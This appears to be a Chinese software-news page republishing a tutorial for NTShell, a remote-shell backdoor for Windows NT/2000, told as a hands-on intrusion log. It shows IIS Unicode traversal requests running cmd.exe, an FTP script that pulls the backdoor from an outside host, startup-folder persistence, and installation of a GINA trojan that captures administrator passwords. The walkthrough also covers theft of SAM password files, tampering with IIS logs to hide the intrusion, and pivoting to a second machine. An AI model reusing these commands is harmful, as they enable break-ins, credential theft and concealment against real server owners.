分类

首页 > 软件资讯 > 应用教程 > 正文

NTShell使用示例

作者:小黑游戏   来源:本站整理   时间:2025-07-24 19:19







NTShell使用示例
本示例仅为示范NTShell的功能与语法,因此使用unicode漏洞进行攻击试验。NTShell 1.0+的例子重点在于InstallGina命令的使用,和跳板的用法。

NTShell是一个Window NT/2000下的类似telnet服务端的程序,当你用telnet客户端和该程序连接后,就可以使用任何命令行的程序了。实现这一功能的程序最初就是著名的netcat、ncx(从netcat里提出telnet服务端功能的一个程序,有ncx和ncx99两个版本,现已被金山毒霸列为木马)。不过ncx只实现了这一功能,使用时不大方便,比如文件的上传和下载就和麻烦,客户端要和服务端交换文件必须客户端有ftp服务或者使用其他ftp中转站(更加麻烦了),而且windows的ftp.exe程序非常特殊,在这种情况下使用非常不方便。因此我开发了这个NTShell程序,这个程序除了支持类似telnet的功能之外,还内建了其他有用的命令和命令行选项,具体内容和使用方法可以看NTShell的帮助,运行环境只有Windows NT和Windows 2000。


NTShell最主要的内置命令包括直接上传文件、下载文件、进程管理、添加自动运行、安装窃听登录密码的木马。然而由于标准的telnet客户端不能理解NTShell的上传和下载文件通信,因此我还开发了NTShell的客户端,否则不能使用直接上传和下载文件功能。我也推荐使用这个客户端,因为除了此功能外, NTShellc还有命令行缓冲和命令行编辑(一次命令只有在回车后才发送,在此之前如果输入错误可以更改;而使用标准的telnet,你没一次按键都会发给服务器,因此有时很不方便)功能。它可以在各个Windows系统里运行,详细情况见 NTShellc的帮助。



以'>'开头的是客户端的信息输出,以'#'开头的是客户端的信息输出。而以'//'开头的行是我的注释,一次命令前说明目的,使用命令后是结果分析。



//使用示例开始
//在本机运行客户端,
F:/hacktool/ntshell>ntshellc
NtShell Client Program.
> Type Help to see the commands



//连接目标计算机的www服务
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.



//请求一个已知的文件,浏览它的网站知道该文件的位置
GET /iissamples/default%c1%1csamples.asp /HTTP/1.0


HTTP/1.1 404 找不到对象
Server: Microsoft-IIS/4.0
Date: Sat, 10 Feb 2001 15:08:26 GMT
//找不到文件,IIS4.0,应该是%1%9c,



//再来,
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.


GET /iissamples/default%c1%9csamples.asp HTTP/1.0


HTTP/1.1 200 OK
//行了,找到了,



//下面要试试,哪些web目录在和系统在同一个逻辑盘上
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0


HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
//找到了,就用它了


Directory of C:/Inetpub/scripts


01-01-09 02:58p

.
01-01-09 02:58p
..
00-08-28 05:30p
proxy
00-08-28 05:30p
tools
4 File(s) 241,424 bytes
850,364,416 bytes free


> Connection closed


NTShellc>o 192.168.0.1 80



//拷贝cmd.exe,其实在 GET 命令最后没有HTTP/1.0 也行,以后就省了
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+copy+/winnt/system32/cmd.exe+dmc.exe


HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 09:47:20 GMT
Content-Length: 190
Content-Type: text/html


CGI 运用程序中出错

CGI 错误

指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是:

 1 file(s) copied.

> Connection closed
//不理它, 1 file(s) copied. 没有访问拒绝就行



//下面就方便了,赶紧把ntshell上传, 就使用ftp脚本吧。依次执行以下命令:
GET /scripts/dmc.exe?/c+echo+open+x.x.x.x>ftp.bin
GET /scripts/dmc.exe?/c+echo+anonymous>>ftp.bin
GET /scripts/dmc.exe?/c+echo+test@test>>ftp.bin
GET /scripts/dmc.exe?/c+echo+binary>>ftp.bin //一定要有这步,不然有的上传的文件内容变了
GET /scripts/dmc.exe?/c+echo+get+ntshell.exe>>ftp.bin
GET /scripts/dmc.exe?/c+echo+quit>>ftp.bin



//看看文件内容写的对不对,
GET /scripts/dmc.exe?/c+type+ftp.bin
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 14:57:14 GMT
Content-Length: 232
Content-Type: text/html


CGI 运用程序中出错

CGI 错误

指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是:

open x.x.x.x
anonymous
test@test
binary
get ntshell.exe
quit

> Connection closed
//OK



//好的,执行ftp
GET /scripts/dmc.exe?/c+ftp+-s:ftp.bin



//等一会,看看文件是否上传完成
GET /scripts/dmc.exe?/c+dir


Directory of C:/Inetpub/scripts


01-02-07 10:58p

.
01-02-07 10:58p
..
98-11-11 04:04a 241,424 dmc.exe
01-02-08 12:24a 64 ftp.bin
01-02-08 12:25a 53,248 ntshell.exe
00-08-28 05:30p
proxy
00-08-28 05:30p
tools
7 File(s) 294,736 bytes
854,074,368 bytes free



//下面执行ntshell,
GET /scripts/ntshell.exe HTTP/1.0
//这个请求直到ntshell提出才会结束,因此我们不能等它
//ctrl+c结束这个连接,退出程序。



//再次进入
F:/hacktool/ntshell>ntshellc
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
let me in


Use 'net helpmsg xxx' to see detail message of Error Code.


# Cannot Load 'psapi.dll', cannot manage process,
please upload the 'psapi.dll' come with NTShell!


Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.



//马上把ftp脚本删了,不然连ftp的ip、用户名、密码全被人看见了,
C:/Inetpub/scripts>del ftp.bin



//没有psapi.dll,上传一个
C:/Inetpub/scripts>?put psapi.dll



//看看它的系统,
C:/Inetpub/scripts>?sysinfor
# Operation System is Windows NT 4.0,
# Build Number:1381
# Service Pack 4
//nt4+sp4的,



//去看看上次的IIS log文件
C:/Inetpub/scripts>cd c:/winnt/system32/logfiles
C:/WINNT/system32/LogFiles>cd w3svc1
cd w3svc1
拒绝访问。
//得,还没的看,以后再说吧;



//看看它的口令备份文件
C:/WINNT/system32>cd ../repair
C:/WINNT/repair>dir sam*
00-03-31 09:15p 3,544 sam._



//虽然有用的可能性很小,不过还是那先回来再说吧,最后实在没辙了,也只好试试它了
C:/WINNT/system32>?get /winnt/repair/sam._
> download file 'sam._' 3544 bytes complete success.



//看看它都运行了什么程序,上传了psapi就可以看进程了,之前它没有这个DLL不行
C:/WINNT/system32>?pslist
# EnableDebugPrivileges Error, Code:1300
Process ID: 2 Query Process Detail infor Error
Process ID: 25 Query Process Detail infor Error
Process ID: 33 Query Process Detail infor Error
...
Process ID: 565 Query Process Detail infor Error
Process ID: *572 C:/Inetpub/scripts/ntshell.exe
Process ID: *466 C:/WINNT/System32/cmd.exe


# Total 42 processes in system.
//喔赛,都看不了,


//还有个1300是什么错误?用net看看
C:/WINNT/system32>net helpmsg 1300
net helpmsg 1300
并非所有被引用的特权都分配给调用者。


//看来guest的权限实在太小了,好在知道ntshell和它的cmd进程id,不行了下次可以杀



//看看ntshell还有什么功能
C:/Inetpub/scripts>?help
#?autorun [name file "args"] --- add the [file] to autorun when reboot,
[file] default is ntshell.exe



//可以自动运行,要试试,成功的话,下次的连接后可能就是admin,而不是现在什么都干不了的guest了
C:/Inetpub/scripts>time
time
当前时间: 5:33:27.32
输入新时间:


//它的时间和我的差不多,行了



C:/Inetpub/scripts>?autorun ntshelld ntshell.exe "-until 2:00 -pass "a b c" -last 60"
# file 'C:/Inetpub/scripts/ntshell.exe' has added to autorun at
C:/WINNT/Profiles/All Users/「开始」菜单/程序/启动/ntshelld.lnk


//看来没在注册表中找到位置,到底在开始菜单中找到一个可以运行的地方,
//好了,等着系统重起动吧.
//(一定注意参数作为一个字符串,使用" "括起来,不然可能就不对了。
// 这个参数的意思是“程序运行后,直到夜里2点开始监听连接,
// 持续监听60分钟,连接后使用"a b c"作为口令”)



//在内置命令中还有这样一个
#?installgina [ntshellgina.dll] --- Install the NtshellGINA trojan.
if Success, after reboot, the LOGON user:pass:domain
is stored in file SYSTEM32/msole32.srg



//这可是一个获得登录密码的好机会,怎能不试?
C:/Inetpub/scripts>?installgina
# Try to Open File 'NTShellGINA.dll' Error, Be Sure provide the
right NTShellGINA.dll path, code:2. Cannot Install the NTShellGina.



//没有dll文件,上传NTShell自带的dll文件NTShellGINA.dll,
//先看看我的当前目录
C:/Inetpub/scripts>?put aaa


> Open file 'aaa' error, be sure the file exist,
> the CURRENT DIR is: F:/hacktool/ntshell



//上传ntshellgina.dll
C:/Inetpub/scripts>?put ntshellgina.dll
> contact with server....


> Transfer file begin....
#ready to upload file 'ntshellgina.dll'...


> Transfer file 'ntshellgina.dll' complete success.


#Upload file ntshellgina.dll completed success, received total 40960 bytes.



//安装这个木马
C:/Inetpub/scripts>?installgina ntshellgina.dll
# Try 1st Method FAILED! Open Registry for set value error, code:5
# Try 2nd Method, Please wait...
# Try 2nd Method FAILED, u may cannot access MSGINA.DLL, code:5
//shit,安装不上,看来是权限不够,不过好在自动运行添上了,下次再试了,go


C:/Inetpub/scripts>?quit


> Connection closed
NTShellc>q
F:/hacktool/ntshell>



//sam._也先不修改了(这是没有办法的办法),过两天在夜里2点到3点之间进行连接,


NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
//连上了,ok,输入上次添加自动运行时指定的密码
a b c



//试试这个shell
C:/WINNT/system32>?pslist
Process ID: 2 System
Process ID: 28 /SystemRoot/System32/smss.exe
Process ID: 32 /??/C:/WINNT/system32/csrss.exe
Process ID: 38 /??/C:/WINNT/system32/winlogon.exe
Process ID: 48 C:/WINNT/system32/services.exe
Process ID: *198 J:/ntshell/Document/ntshell.exe
Process ID: *170 C:/WINNT/System32/cmd.exe
//这个权限很大,好像是admin的,



//再看看上次的log
C:/WINNT/system32/>cd logfiles
C:/WINNT/system32/LogFiles>cd w3svc1
C:/WINNT/system32/LogFiles/W3SVC1>?get C:/WINNT/system32/LogFiles/W3SVC1/ex010205.log
//把记录改改,再给他put回去
C:/WINNT/system32/LogFiles/W3SVC1>?put ex010205.log



//再安装GINA木马试试
C:/Inetpub/scripts>?installgina ntshellgina.dll
# Try 1st Method FAILED! Open Registry for set value error, code:5
# Try 2nd Method, Please wait...
# Try 2nd Method Success!! You can read the 'MSOLE32.SRG' file
for logonUser:Password:Domain
//第二种方法成功了,OK,什么用处?重起动后,登录密码会存储在MSOLE32.SRG里,
//棒!也不用l0pht修改密码了。



//好玩,再试试
C:/Inetpub/scripts>?installgina ntshellgina.dll
# Try 1st Method FAILED! Open Registry for set value error, code:5
# Try 2nd Method, Please wait...
# The Trojan 'ntshellgina.dll' u want to install SAME with file 'MSGina.dll',
NOT need to install, otherwise the system maynot bootup!!
Check system32/MSOLE32.SRG for password NOW!
//喔,安装过了,不能在安装了,否则可能导致NT不能启动,很危险,还是别玩了
//等着下次看'MSOLE32.SRG'中的密码吧。



//也不用net user,net localgroup添加admin用户了,更改用户的设置容易被发现
//如果?installgina失败只能添加,现在既然成功了,看看再说,
//要是知道了admin的密码就省事了。go


C:/Inetpub/scripts>?quit


> Connection closed
NTShellc>q
F:/hacktool/ntshell>



//过两天在夜里2点到3点之间进行连接,


NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.


a b c



//赶紧看看有没有%systemroo%/system32/msole32.srg
C:/Inetpub/scripts>cd /winnt/system32
cd /winnt/system32


C:/WINNT/system32>dir msole32.srg
dir msole32.srg


C:/WINNT/system32 的目录


01-02-18 11:03p 46 msole32.srg
1 个文件 46 字节
555,089,920 字节可用



//看看内容
C:/WINNT/system32>type msole32.srg
type msole32.srg
Administrator:testabc:mydomain
Administrator:testabc:mydomain
//哇,密码,admin的,太棒了



//好了,这台机器B行了,试试跳板功能
//把ntshell的客户端拿过来,再看看其他机器C,


C:/WINNT/system32/LogFiles/W3SVC1>cd /inetpub/scripts
C:/Inetpub/scripts>?put ntshellc.exe



//在B运行它,
C:/Inetpub/scripts>ntshellc
NTShellc>o 192.168.0.45 80
> Connect to 192.168.0.45 at Port 80 ...
> Connected with the server.


GET / HTTP/1.0



HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://192.168.0.45/index.html


//嗯,C是台win2k+iis5, 如发炮制。


NTShellc>NTShellc>q


C:/Inetpub/scripts>



//想办法上传ntshell到C,并运行它,然后在B运行ntshellc连接C
C:/Inetpub/scripts>ntshellc
NTShellc>NTShellc>o 192.168.0.45
> Connect to 192.168.0.45 at Port 22 ...
> Connected with the server.



//从C上下个sam文件到B
D:/Inetpub/Scripts>cd /winnt/repair
cd / winnt/repair


C:/WINNT/repair>
C:/WINNT/repair>dir sam*


dir sam*


C:/WINNT/repair 的目录


00-11-13 01:46p 3,644 sam._
1 个文件 3,644 字节
554,762,240 字节可用



//怎么下呢, 使用?get sam._吗? 试试
C:/WINNT/repair>?get sam._
> contact with server....


#The file sam._ not exist.



C:/WINNT/repair>?chdir
#Current server dir is:'C:/Inetpub/scripts'
//使用?get sam._时,?get命令由B解释,而B的当前目录是C:/Inetpub/scripts,
//自然取不到,(如果B的当前目录有这个文件,就会从B传到A来)



//使用两个??,就在C的server端和B的client端执行命令
C:/WINNT/repair>??get c:/winnt/repair/sam._
> contact with server....
#ready to download file 'c:/winnt/repair/sam._'...
> read to get file from server
> download file 'sam._' 3644 bytes complete success.
#Download file c:/winnt/repair/sam._ completed success, received total 3644 bytes.
//文件传到了B的当前目录



//再传过我这来
C:/WINNT/repair>?get sam._
//文件从B传到我的当前目录



//C的NTShell退出,一定要是??quit,不然就是B的NTShell退出了,而C的没有退出
C:/WINNT/repair>??quit
> Connection closed
NTShellc>q



//看看B上有没有sam._文件
C:/Inetpub/scripts>dir
dir


Directory of C:/Inetpub/scripts


01-02-21 23:41

.
01-02-21 23:41
..
98-11-11 04:04 241,424 dmc.exe
01-02-11 05:38 65,536 ex010210.log
01-02-08 00:24 64 temp~1
01-02-18 21:35 53,248 ntshell.exe
01-02-21 23:22 45,056 ntshellc.exe
01-02-21 22:26 40,960 ntshellgina.dll
00-08-28 17:30
proxy
01-02-21 23:41 3,644 sam._
00-08-28 17:30
tools
11 File(s) 449,932 bytes
853,663,744 bytes free


C:/Inetpub/scripts>?quit


> Connection closed
NTShellc>q



//ok, telnet跳板基本还可以,就是有时输出重复,一般一个命令得回车两次
//不过ntshell的各种命令在跳板之间还是可用的

Tags:

相关文章

相关下载

猜你喜欢

阅读排行

网友评论

我要跟帖
取消
声明:评论内容只代表网友观点,与本站立场无关!